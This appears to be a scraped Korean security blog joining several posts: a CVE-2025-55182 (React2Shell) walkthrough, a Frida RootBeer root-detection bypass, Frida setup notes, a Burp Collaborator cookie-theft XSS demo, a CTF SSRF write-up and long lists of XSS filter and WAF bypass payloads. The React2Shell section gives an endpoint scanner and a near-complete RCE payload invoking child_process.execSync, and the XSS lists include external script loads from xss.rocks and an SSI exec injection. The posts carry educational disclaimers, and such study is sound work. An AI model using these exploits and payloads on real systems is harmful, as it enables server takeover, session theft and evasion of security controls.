RCC  vs  RSC

 

동작 방식

RCC (Client Component) RSC (React Server Components)
1. 클라이언트에서 서버로 요청
2. 빈 HTML + JavaScript 파일 다운로드
3. JavaScript가 실행되면서 화면이 나타남
1. 클라이언트에서 서버로 요청
2. 서버가 Root Component Elemnet를 JSON으로 직렬화함
3. 브라우저가 React Tree를 재구조화함

 

RSC는 2020년에 출시된 기능이며, 이전까지는 모두 Client Component 방식으로 react에서 애플리케이션을 랜더링했다.

RSC을 통해 데이터를 가져오는 로직을 서버 단으로 이동시켜, 요청에 대한 지연을 줄이고 성능을 개선헸다.

 

 

성능을 개선하기 위한 새로운 방식이었지만, 클라이언트의 요청을 서버가 검증 없이 무조건 신뢰하여 취약점이 발생했다.

 

 

 

React2Shell 취약점

CVE-2025-55182 10.0 CRITICAL

 

서버 단에서 역직렬화 과정 중에 객체 참조를 재구성하도록 유도하여 공격자가 의도한 위험한 동작을 수행할 수 있다.

서버가 외부 입력을 단순히 구조로 복구하는 과정에서 동적 모듈 접근이나 함수 호출로 이어지게 한다.

 

 즉, 역직렬화 로직이 신뢰하지 않은 입력을 그대로 실행 가능 형태로 복원하면, 서버 프로세스 내에서 위험한 모듈(예: 시스템 명령을 실행하는 모듈)에 접근할 수 있게 되고, 그 결과 원격에서 명령이 실행될 수 있게된다.

 

 

정상적인 요청/응답 과정

데이터를 서버에 요청  -> 예상된 모듈/함수만 호출 -> 직렬화하여 클라이언트로 보냄

 

공격 요청/응답 과정

공격자가 조작한 데이터를 서버에 요청 -> 서버가 받은 요청을 역직렬화 -> 예상치 못한 모듈/함수 호출 -> RCE 등 공격

 

 

 

 

 

Exploit 실습

⚠️ 본 게시글에 포함된 취약점 분석 및 PoC 코드는 교육·연구 목적으로만 제공됩니다.
해당 내용을 허가되지 않은 시스템, 타인의 서버, 서비스, 네트워크 등에 무단으로 적용하는 행위는 명백한 불법입니다.

본 게시글의 저자는 제공된 정보를 악용하여 발생하는 모든 법적·행정적 책임을 지지 않습니다.
실제 환경에서 테스트를 진행하려는 경우 반드시 본인이 소유하거나 명확한 허가를 받은 시스템에서만 수행하시기 바랍니다.

 

공격 대상: 192.168.231.129 공격자: 192.168.231.128

 

 

구축한 웹 페이지가 공격자pc에서 잘 접속되는지 확인한다.

 

 

먼저 어떤 경로에서 decodeReply(Next.js RSC 해석기)를 사용하는지 스캔한다.

decodeReply를 사용하는 경로에서만 SRC 액션 호출을 통해 공격을 수행할 수 있다.

 

스캔에 사용된 코드 일부다.

RSC/액션 특유의 응답 헤더를 확인하는 방식이다.

  resp_headers=$(curl -s -D - -o /dev/null -X POST "$url" \
    -H "Next-Action: probe-$(date +%s%N)" \
    -F "0=@/dev/null;type=application/octet-stream" \
    -F "1=@/dev/null;type=application/octet-stream" \
    --max-time 10)

  echo "$resp_headers" | grep -i "x-nextjs-action-not-found" >/dev/null && { echo "ACTION-ENDPOINT (action-not-found)"; continue; }
  echo "$resp_headers" | grep -i "text/x-component" >/dev/null && { echo "RSC Content-Type"; continue; }
  echo "$resp_headers" | grep -i "x-nextjs-postponed" >/dev/null && { echo "RSC postponed"; continue; }
  echo "$resp_headers" | grep -i "x-nextjs-prerender" >/dev/null && { echo "PRERENDER/CACHED page"; continue; }

 

  • x-nextjs-action-not-found가 뜨면 → RSC Action 루틴으로 요청이 도달했음(단, ID 없음).
  • text/x-component가 Content-Type으로 오면 → RSC payload를 반환하는 엔드포인트(또는 RSC 경로).
  • x-nextjs-prerender나 x-nextjs-cache: HIT이면 → 정적 페이지가 서빙되고 있음(액션 미도달).

 

 

아래 스캔 결과를 통해 최상단 경로에서 공격이 가능한 것을 확인했다.

 

 

 

 

익스플로잇 내용이다. 

(혹시 몰라서 쉘 연결 명령어는 비공개했다. 간단한 코드지만 누군가 진짜 서버 대상으로 따라할까봐...)

서버의 RSC/Server-Action 파서는 multipart로 들어온 필드들을 청크(조각) 객체로 복원하고, 그 청크들의 필드(then, status, value, _response 등)를 보고 어떤 처리 루틴(then 호출, 모델 복원, 핸들러 호출 등)을 단계적으로 실행한다.
익스플로잇은 이 처리 순서를 역이용해서 파서가 원치 않는 함수(예: 동적 코드 실행자) 를 참조하게 만든다.

command="공격자 서버에 연결하는 코드"

cat > payload.json <<EOF
{
    "then": "\$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\\"then\\": \\"\$B0\\"}",
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('${command}');",
        "_formData": {
            "get": "\$1:constructor:constructor"
        }
    }
}
EOF

echo -n '"$@0"' > payload2.txt

curl -X POST http://192.168.231.129:3000 -H "Next-Action: dontcare" \
    -F "0=<payload.json" -F '1=<payload2.txt' \
    --max-time 2 2>/dev/null || true

1) payload.json 

  • 클라이언트가 보낸 각 multipart 필드는 파서에서 **청크 인덱스(0,1,2...)**로 매핑돼서 객체가 된다.
  • 파서는 이 청크 객체의 속성을 보고, “이건 컴포넌트 자식이다 / 이건 thenable이다 / 이건 이미 준비된 모델이다” 를 판단한다.
  • 공격자는 파서가 기대하는 형태(필드 이름·값 포맷)를 흉내 낸 JSON 블록을 만들어 넣음.→ 파서는 “정상”으로 믿고 내부 처리 체인으로 보낸다.

2) "then"

  • JS/React/RSC 내부는 thenable(then을 가진 객체)을 발견하면 그 객체를 호출해서 비동기 흐름을 이어간다.
  • 즉 then이 있으면 파서는 obj.then(resolve, reject) 형태로 호출할 가능성이 크다.
  • 공격자는 이 점을 이용해 가짜 객체를 ‘실제로 호출되는’ 위치로 끌어들이는 트릭을 쓴다.
    → 실제로는 그 then 속성이 프로토타입 체인을 통해 “진짜 함수”로 연결되도록 유도하는 식.

3) "status": "resolved_model" — 파서에게 보내는 신호

  • 파서 내부에는 상태(state) 기반 처리 로직이 있다. 예: "pending", "resolved_model" 등.
  • resolved_model이면 파서는 즉시 initialize/revive 경로로 들어가서 value 등을 해석한다.
  • 공격자는 이 값을 이용해 파서가 곧바로 내부 처리 함수(모델 복원)를 실행하게 만든다.

4) "value": "{\"then\":\"$B0\"}" — 중첩된 토큰의 역할

  • $B0 같은 표기는 파서 내부의 “특수 핸들러”를 호출하도록 설계된 토큰이다.
  • 파서는 value 문자열을 읽다가 $B...를 만나면 어떤 동작(handler)을 호출해서 값을 해결한다.
    예: $Bid → response._formData.get(response._prefix + id) 같은 호출로 이어질 수 있다(구현에 따라 다름).
  • 즉 value는 중첩 호출(then → value 안 토큰 → 핸들러) 을 유도하는 장치.

5) "_response": { "_prefix": "...", "_formData": { "get": "..." } } — 공격자가 덮어쓰는 슬롯들

  • _prefix는 나중에 코드 조각이나 문자열을 이어붙이는 용도로 쓰이는 자리일 수 있다.
    예: 파서가 prefix + id 를 조합해서 어떤 키를 만들고, 그것을 get()에 넘기는 흐름이 존재할 수 있음.
  • _formData.get에 들어가는 값은 "어떤 객체의 프로퍼티를 따라가서 최종 값을 얻는지" 를 나타낼 수 있다.
    예: $1:constructor:constructor 같은 표기는 “1번 필드의 constructor의 constructor를 참조하라”는 의미로 해석될 수 있음 
  • 공격자는 이 슬롯들에 조작된 문자열/토큰을 넣어서 파서가 값을 조회할 때 의도한 객체(예: Function 생성자)를 반환하게 유도한다.

6) echo -n '"$@0"' > payload2.txt 

  • $@0는 파서 구현에 따라 “0번 청크 자체(원본 객체)에 대한 참조”를 의미할 수 있음.
  • 이렇게 하면 then에서 $1:__proto__:then 같은 식으로 “프로토타입 체인을 통한 then 연결”이 가능해짐.
  • 자기참조는 가짜 청크를 ‘진짜 청크처럼’ 작동하게 만들기 위한 필수 메커니즘이다.→ 파서가 ‘이건 이미 준비된 조각’으로 취급하게 하려면 참조 체인이 필요할 때가 많다.

 

curl -X POST ... -H "Next-Action: dontcare" -F "0=<payload.json" -F '1=<payload2.txt' ...
→ 위의 데이터들을 multipart로 묶어 서버에 전송. Next-Action 같은 헤더는 Next.js 스타일의 서버 액션/역직렬화 루틴을 트리거하는 데 쓰이는 헤더(구체적 동작은 서버 버전/설정에 따라 다름)

 

 

 

 

실행하면 리버스쉘 연결에 성공한다!

 

 

 

 

 

 

참고

https://github.com/msanft/CVE-2025-55182

 

GitHub - msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182

Explanation and full RCE PoC for CVE-2025-55182. Contribute to msanft/CVE-2025-55182 development by creating an account on GitHub.

github.com

https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/

 

CVE-2025-55182 (React2Shell): Remote code execution in React Server Components and Next.js | Datadog Security Labs

Learn more about the CVE-2025-55182 vulnerability affecting React Server Components and affecting Next.js.

securitylabs.datadoghq.com

 

'웹 해킹 > 실무' 카테고리의 다른 글

버프 스위트(Burp Suite Pro) Collaborator 사용법 (XSS)  (0) 2025.03.31
XSS 필터링 우회4  (0) 2025.03.11
XSS 필터링 우회3  (0) 2025.03.10
XSS 필터링 우회2  (0) 2025.03.10
XSS 필터링 우회  (0) 2025.03.07

 

rooting.js

Java.perform(() => {
	let RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
	RootBeer["checkForSuBinary"].implementation = function () {
		console.log(`RootBeer.checkForSuBinary is called`);
		let result = false;
		console.log(`RootBeer.checkForSuBinary result=${result}`);
		return result;
	};
	RootBeer["checkForBusyBoxBinary"].implementation = function () {
		console.log(`RootBeer.checkForBusyBoxBinary is called`);
		let result = false;
		console.log(`RootBeer.checkForBusyBoxBinary result=${result}`);
		return result;
	};
	RootBeer["checkSuExists"].implementation = function () {
		console.log(`RootBeer.checkSuExists is called`);
		let result = false;
		console.log(`RootBeer.checkSuExists result=${result}`);
		return result;
	};
});

 

 

 

rootbeer 앱 PID 확인

 

 

 

Frida 후킹

 

 

 

루팅 탐지 우회 성공

 

 

 

 

 

 

'모바일 해킹' 카테고리의 다른 글

[안드로이드] Frida 설치(녹스)  (0) 2025.11.07

 

녹스 설치 후

 

ROOT 켜기

 

 

설정 > 태블릿 정보 > 빌드 번호 연타

 

 

 

프리다 클라이언트 설지

 

pip install frida-tools

 

프리다 버전 확인

frida --version

 

 

 

 

 

프리다 서버 설치

 

adb shell 들어가기

 

adb shell에서 CPU 아키텍처 확인 (x86->32bit, x86_64->64bit)

 

 

아래 사이트에서 프리다 클라이언트 버전과 아키텍처에 맞는 server 압축 파일 다운로드

https://github.com/frida/frida/releases

 

Releases · frida/frida

Clone this repo to build Frida. Contribute to frida/frida development by creating an account on GitHub.

github.com

 

 

다운로드한 압축 파일 압축 해제 후 안드로이드의 임시 저장 위치인 /data/local/tmp 폴더에 넣기

 

 

다시 adb shell에서 

/data/local/tmp 폴더로 이동 후 넣은 서버 파일 권한 수정 후

서버 실행

 

잘 실행됐는지 확인

 

 

'모바일 해킹' 카테고리의 다른 글

[안드로이드] 루팅 탐지 우회 (RootBeer)  (0) 2025.11.07

 

 

 

🚨 본 문서는 보안 연구 및 교육 목적으로 작성되었습니다.

실제 시스템이나 웹사이트에 무단으로 공격을 시도하는 것은 불법이며, 법적 처벌을 받을 수 있습니다.

 

 

 

 

 

버프 스위트 pro (유료)버전은 collaborator 기능을 사용할 수 있다

 

Burp Collaborator는 고유한 도메인 이름을 제공하며,

이를 페이로드에 포함시켜 대상 시스템이 해당 도메인으로 요청을 보내는지 확인 가능하다

 

Burp Suite의 Collaborator Client에서 요청 내역을 확인할 수 있으며,

발생한 DNS 조회, HTTP 요청, TCP 연결 기록을 분석할 수 있다

 

 

 


 

Collaborator를 활용한 XSS 공격 실습

 

버프 스위트 Collaborator에서 Copy to clipboard를 클릭

 

 

 

복사한 주소가 잘 작동하는지 확인

 

 

 

 

XSS 취약점이 존재하는 웹에서 복사한 url로 해당 웹의 현재 쿠키 값을 전달하는 공격을 수행한다

(쿠키 탈취)

 

 

 

 

 

공격이 성공하면

Collaborator 에서 요청 패킷을 확인할 수 있다

요청 패킷을 통해 쿠키 값이 전달됐다 

 

 

 

 

'웹 해킹 > 실무' 카테고리의 다른 글

[CVE-2025-55182] React2Shell Poc 및 exploit  (0) 2025.12.09
XSS 필터링 우회4  (0) 2025.03.11
XSS 필터링 우회3  (0) 2025.03.10
XSS 필터링 우회2  (0) 2025.03.10
XSS 필터링 우회  (0) 2025.03.07

 

 

 

특정 경로를 입력하면 요청을 보내서 해당 경로의 파일을 보여주는 웹 페이지다.

ssrf 취약점이 존재할 것 같다.

- 웹 서버가 사용자가 입력한 요청을 직접  내부 서버로 보낼 수 있을 때 발생하는 취약점

 

 

 

 

문제 파일 확인

1) flag 위치는 /flag.txt

2) 입력 값에 localhost127.0.0.1 문자열이 있을 경우 error.png를 반환한다. (필터링)

3) locla 포트는 1500~1800의 정수 중 랜덤한 값이다.

 

 

 

 

localhost, 127.0.0.1 필터링을 우회하기 위해, 

localhost를 대문자로 입력하여 요청을 보냈다.

 

필터링되지 않고 정상적으로 파일이 읽어지는 것을 확인

 

 

 

flag 파일은 1500~1800 사이의 정수인 로컬 포트에 존재하기 때문에

버프 스위트 intruder로 자동화 공격을 수행

 

 

 

길이가 다른 응답 탐색 성공

base64로 인코딩된 data가 출력됨

 

 

 

Decoder로 디코딩하면 flag를 얻을 수 있다

 

 

 

 

 

 

HTTP 매개변수 오염을 통한 XSS

  • 아래는 content_type 매개변수 URL 인코딩 없이 사용되어 매개변수 오염이 발생한 경우
  • content_type 매개변수는 URL 인코딩 없이 사용되어 매개변수 오염이 발생.
  • content_type에 악성 스크립트를 삽입하여 XSS를 우회 가능.
<a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>

 

  • 공유 페이지에서의 JavaScript 코드
<script>
  var contentType = <%=Request.getParameter("content_type")%>;
  var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
  ...
</script>

 

  • 공격 시 URL
  • 공격자가 title 파라미터에 악성 스크립트를 삽입하여 링크를 공유
<a href="/share?content_type=1&title=This is a regular title&amp;content_type=1;alert(1)">Share</a>

 

  • 공유 페이지에서 발생한 XSS
  • 공유 페이지의 출력에서 content_type 값이 1;alert(1)로 되어 스크립트가 실행됨.
<script>
  var contentType = 1; alert(1);
  var title = "This is a regular title";
  ...
</script>

 

 

 

문자 이스케이프 시퀀스

  • HTML과 JavaScript에서 문자 < 의 모든 가능한 조합이다.
  • 이 중 대부분은 바로 렌더링되지 않지만, 특정 상황에서 렌더링 될 수 있는 것이 많다.
  • <
  • %3C
  • &lt
  • &lt;
  • &LT
  • &LT;
  • &#60;
  • &#060;
  • &#0060;
  • &#00060;
  • &#000060;
  • &#0000060;
  • &#x3c;
  • &#x03c;
  • &#x003c;
  • &#x0003c;
  • &#x00003c;
  • &#x000003c;
  • &#X3c;
  • &#X03c;
  • &#X003c;
  • &#X0003c;
  • &#X00003c;
  • &#X000003c;
  • &#x3C;
  • &#x03C;
  • &#x003C;
  • &#x0003C;
  • &#x00003C;
  • &#x000003C;
  • &#X3C;
  • &#X03C;
  • &#X003C;
  • &#X0003C;
  • &#X00003C;
  • &#X000003C;
  • \x3c
  • \x3C
  • \u003c
  • \u003C
 

 

 

 

 

 

 

WAF 우회 방법

 

 

URI(Data URL Scheme)

  • data: 스키마는 브라우저에서 데이터를 직접 URL로 지정하여 처리할 수 있도록 하는 데이터 URI(Data URL Scheme)
data:[<MIME 유형>][;base64],<데이터>

 

  • <MIME 유형>: text/html → 브라우저가 HTML 문서로 해석하게 함.
  • base64: 데이터가 Base64로 인코딩되어 있음을 나타냄.
  • <데이터>: Base64로 인코딩된 HTML 또는 JavaScript 코드.

 

 

  • 브라우저는 data: URL을 해석하여 text/html MIME 타입으로 실행.
  • Base64로 인코딩된 데이터를 디코딩하여 HTML 페이지로 렌더링.
  • <script>alert('XSS')</script>가 실행되며 **XSS(Alert 창 실행)**이 발생.

 

<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=>

 

 

 

HTML 태그를 활용한 우회

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window/src="data:text/html,<svg onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script>
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X</a>
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>

 

 

이벤트 핸들러를 활용한 우회 (OnMouseOver, OnError 등)

<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript&colon;alert(1)>CLICKME</form>
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>

 

 

 

 

alert 함수 필터 우회

  • 'alert(' 문자열을 필터링하는 경우
(alert)(1);
a = alert; a(1);
[1].find(alert);

 

  • 'alert' 문자열을 필터링하는 경우
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)

 

  • 백틱 사용
&#96;`${alert``}`&#96;
  • &#96;는 **백틱(backtick, ` )**을 의미합니다.
  • 따라서 실제 실행되는 코드는  `${alert``}`
  • alert```** → alert()과 동일.

 

 

 

'웹 해킹 > 실무' 카테고리의 다른 글

[CVE-2025-55182] React2Shell Poc 및 exploit  (0) 2025.12.09
버프 스위트(Burp Suite Pro) Collaborator 사용법 (XSS)  (0) 2025.03.31
XSS 필터링 우회3  (0) 2025.03.10
XSS 필터링 우회2  (0) 2025.03.10
XSS 필터링 우회  (0) 2025.03.07

 

 

US-ASCII 인코딩을 이용한 우회

  • 7비트 ASCII 인코딩을 사용하여 필터를 우회.
  • 옛날 Internet Explorer(IE 5, 6, 7) 및 일부 레거시 브라우저에서 작동할 가능성이 있음.
  • Apache Tomcat이 기본적으로 US-ASCII를 사용하는 서버 중 하나로 알려져 있음.
  • 서버가 ISO-8859-1(Latin-1) 문자셋을 사용하면서, 브라우저가 이를 HTML 태그로 변환하는 경우 실행될 수 있음.
  • 현대 웹에서는 대부분 UTF-8을 사용.
¼script¾alert(¢XSS¢)¼/script¾
변형된 문자 원래 문자
¼
¾ >
¢ '

 

 

 

<META> 태그를 활용한 XSS

  • 메타 태그를 이용한 자동 새로고침(refresh)
  • HTTP-EQUIV="refresh"를 이용하여 즉시 JavaScript 실행.
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

 

  • 데이터 URL을 활용한 XSS
  • data:text/html을 사용하여 Base64로 인코딩된 스크립트를 실행.
  • JavaScript 코드가 직접 보이지 않기 때문에 탐지가 어려움.
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

 

  • URL 필터 우회 기법
  • 일부 웹사이트가 http://가 포함된 URL만 허용하는 경우를 우회.
  • URL=http://;URL=javascript: 형식을 사용하여 실행.
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
  • <META HTTP-EQUIV="refresh"> 태그는 브라우저에게 지정된 URL로 자동 리다이렉트하라는 명령을 내림.
  • CONTENT="0;url=javascript:alert('XSS');" 부분은 다음을 의미:
    • 0: 현재 페이지가 로드되자마자 (0초 후) 즉시 리다이렉트 수행
    • url=javascript:alert('XSS');: 리다이렉트할 대상이 JavaScript 실행 코드
  • 결과적으로, 브라우저가 현재 페이지를 javascript:alert('XSS');로 이동시키면서 XSS가 발생.
  • 일부 구형 브라우저 Internet Explorer (IE 6,7,8) 및 취약한 HTML 파서는 이 코드를 유효한 리다이렉트로 처리할 수 있음.
  • 보안 설정이 낮거나, XSS 필터링이 적용되지 않은 경우 실행될 가능성이 있음.
    • 대부분의 웹 애플리케이션은 META refresh를 통한 javascript: 실행을 차단.

 

 

 

<IFRAME>을 활용한 XSS

  • <IFRAME> 태그의 SRC 속성에 javascript: URL을 삽입하여 실행.
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

 

  • 이벤트 기반 XSS
  • onmouseover 이벤트를 활용하여 사용자가 마우스를 올릴 때 실행.
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

 

 

 

<FRAMESET>을 활용한 XSS

  • <FRAME> 태그의 SRC 속성을 이용하여 JavaScript 실행.
  • <IFRAME>과 유사한 방식.
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

 

 

 

<TABLE> 태그의 BACKGROUND 속성 이용

<TABLE BACKGROUND="javascript:alert('XSS')">

 

  • <TD> 태그의 BACKGROUND 속성 이용
  • <TABLE> 및 <TD>의 BACKGROUND 속성에 JavaScript 코드 삽입.
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
  • <TABLE BACKGROUND="...">와 같은 태그 속성은 원래 배경 이미지를 설정하는 데 사용되지만, JavaScript 코드가 포함된 경우 일부 구형 브라우저나 특정 웹 애플리케이션에서 JavaScript를 실행할 수 있음.
  • 예를 들어, 구형 Internet Explorer(IE)에서는 BACKGROUND 속성이 javascript: 스킴을 허용할 수 있었지만, 최신 브라우저에서는 이와 같은 방식의 JavaScript 실행을 제한하거나 차단.

 

 

 

<DIV> 태그를 활용한 XSS

  • background-image 속성을 이용한 실행
  • background-image 속성에 javascript: 스키마를 삽입하여 실행.
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

 

  • 유니코드 인코딩을 활용한 난독화
  • background-image 속성에 javascript: 스키마를 삽입하여 실행.
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

 

  • 추가 문자를 이용한 우회 기법
  • 필터링을 우회하기 위해 오류 문자(1-32, 34, 39, 160, 8192-813, 12288, 65279)를 삽입.
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

 

  • expression()을 이용한 XSS (IE 전용)
  • Internet Explorer에서 지원하는 expression()을 사용하여 JavaScript 실행.
<DIV STYLE="width: expression(alert('XSS'));>
  • 페이지가 로드되면, CSS의 background-image 속성에서 javascript:alert('XSS')를 실행하려고 시도.
  • 정상적으로 배경 이미지가 로드되는 대신, JavaScript 코드가 실행되어 alert('XSS')가 브라우저에서 실행되고, 사용자는 경고 창을 보게 됨.
  • 구형 브라우저(특히 Internet Explorer와 같은 이전 버전)에서는 javascript: URL 프로토콜을 background-image CSS 속성에서 허용했기 때문에 이 코드가 실행될 수 있습니다.
  • Internet Explorer(IE 6, 7, 8 등)에서는 CSS 속성에서 javascript: 프로토콜을 허용하는 경우가 많았고, JavaScript를 URL로 처리할 수 있음.

 

 

 

주석 블록을 활용한 XSS

  • Internet Explorer에서만 실행되는 조건부 주석문을 이용한 XSS.
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->

 

 

 

BASE 태그를 이용한 XSS

  • BASE 태그를 활용하여 JavaScript 실행 가능
<BASE HREF="javascript:alert('XSS');//">

 

 

 

OBJECT 태그를 이용한 XSS

  • 악성 HTML 파일을 포함하는 OBJECT 태그 활용
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
  • <OBJECT> 태그는 웹 페이지에서 외부 리소스를 포함하거나 특정 콘텐츠를 삽입하는 데 사용됩니다. 보통 플러그인, 임베디드 객체, 외부 파일 등을 포함하는 데 사용됨.
  • <OBJECT> 태그는 여러 가지 type 속성을 사용할 수 있습니다. TYPE="text/x-scriptlet"은 scriptlet을 로드하는 타입을 의미.
    • 최신 웹 브라우저는 대부분 이러한 악성 <OBJECT> 태그를 차단하거나 제한하지만, 일부 구형 브라우저나 보안 설정이 부족한 환경에서는 이 코드가 여전히 실행될 수 있음.

 

 

 

SVG를 이용한 XSS (Firefox 한정)

<EMBED SRC="data:image/svg+xml;base64,..." type="image/svg+xml" AllowScriptAccess="always"></EMBED>
  • <EMBED> 태그는 외부 객체(이미지, 오디오, 비디오 등)를 삽입하는 HTML 요소.
  • 보통 Adobe Flash, PDF, SVG 등 다양한 플러그인을 로드할 때 사용됨.
  • 여기서는 SRC 속성을 이용해 Base64로 인코딩된 SVG 파일을 포함.
  • data: URL 스킴을 사용하여 Base64로 인코딩된 SVG 파일을 포함.
  • image/svg+xml은 SVG 이미지 형식을 의미.
  • base64,... 부분에는 실제 SVG 파일의 Base64 인코딩된 내용이 들어감.
  • AllowScriptAccess="always"를 사용하면, 포함된 콘텐츠(이 경우 SVG 파일) 내의 JavaScript가 실행될 수 있음.
  • 즉, SVG 내의 JavaScript 실행을 허용하는 역할.

 

 

 

XML 데이터 아일랜드 (IE 한정)

  • XML을 활용하여 JavaScript 실행
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

 

 

 

HTML+TIME을 활용한 XSS (IE 한정)

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>">
</BODY></HTML>

 

 

 

제한된 입력 환경에서의 XSS

  • JavaScript 파일로 변환하여 실행
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
  • 구형 Internet Explorer (IE6~IE8) 등 일부 브라우저는 서버에서 제공하는 MIME 타입이 아닌 콘텐츠를 기반으로 자체적으로 파일 유형을 판단했음.
  • 이런 브라우저에서는 서버에서 잘못된 MIME 타입을 반환하거나 공격자가 조작하면 JavaScript가 실행될 가능성이 있음.

 

 

 

서버 사이드 포함(SSI) 이용

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
  • <!--#exec cmd="..."-->는 웹 서버(예: Apache)의 Server Side Includes(SSI) 기능을 활용하여 서버에서 특정 명령어를 실행하는 방법입니다.
  • 여기서는 /bin/echo 명령어를 실행하여 HTML 코드의 일부를 출력하고 있음
  • 최종적으로 브라우저가 해석하는 결과:
  • Apache 웹 서버에서 mod_include 모듈이 활성화된 경우, .shtml 파일 또는 특정 설정을 가진 .html 파일에서 SSI가 실행될 수 있음.
  • 기본적으로 .shtml 파일에서 SSI를 해석하며, 일부 서버는 .html에서도 해석할 수 있도록 설정되어 있음.

 

 

 

PHP를 이용한 XSS

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
  • 웹 서버가 PHP를 실행하도록 설정되어 있어야 함.
  • PHP가 HTML 페이지를 생성하는 방식이라면 이 공격이 가능함.

 

 

 

IMG 태그를 이용한 명령 실행

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

 

 

 

쿠키 조작을 이용한 XSS

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

 <META HTTP-EQUIV="Set-Cookie">

  • HTTP-EQUIV="Set-Cookie":
    • 브라우저가 HTTP 응답 헤더의 Set-Cookie 필드를 해석하는 것처럼 동작하도록 지시함.
    • 즉, 이 태그가 브라우저에 의해 처리되면 쿠키가 설정됨.

 Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"

  • 브라우저는 "USERID=<SCRIPT>alert('XSS')</SCRIPT>" 값을 쿠키로 설정하려고 시도함.
  • 만약 브라우저가 이 값을 정상적인 쿠키로 처리하지 못하고 HTML의 일부로 해석하면, <SCRIPT>alert('XSS')</SCRIPT>가 실행되어 XSS 공격이 발생할 수 있음.
  • 최신 브라우저에서는 META HTTP-EQUIV="Set-Cookie"가 정상적인 쿠키 설정 방식으로 동작하지 않음.
  • 하지만, 예전 브라우저(Internet Explorer 등)에서는 일부 취약한 구현이 있을 가능성이 있음.

 

 

 

HTML 인용 캡슐화를 이용한 XSS

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
  • 보안 필터가 <SCRIPT> 태그를 정확히 일치하는 패턴으로만 차단할 경우, 속성을 추가하면 필터를 우회할 수 있음.
  • a=">"를 추가하면 필터가 <SCRIPT> 태그를 감지하지 못할 수도 있음.
    • 공격자는 httx://를 사용하여 필터를 우회한 뒤, 피해자가 직접 URL을 수정하도록 유도할 수도 있음.
    • 예를 들어, 피해자에게 다음과 같은 메시지를 보낼 수 있음: 보안 시스템이 자동으로 http를 httx로 변경했습니다. 브라우저 주소창에서 httx를 http로 바꿔 다시 방문해주세요!
    • 사용자가 이를 믿고 직접 URL을 수정하면, 악성 JavaScript가 실행될 수 있음.

 

 

 

URL 문자열을 이용한 XSS

  • IP 주소, 인코딩을 활용한 우회 기법
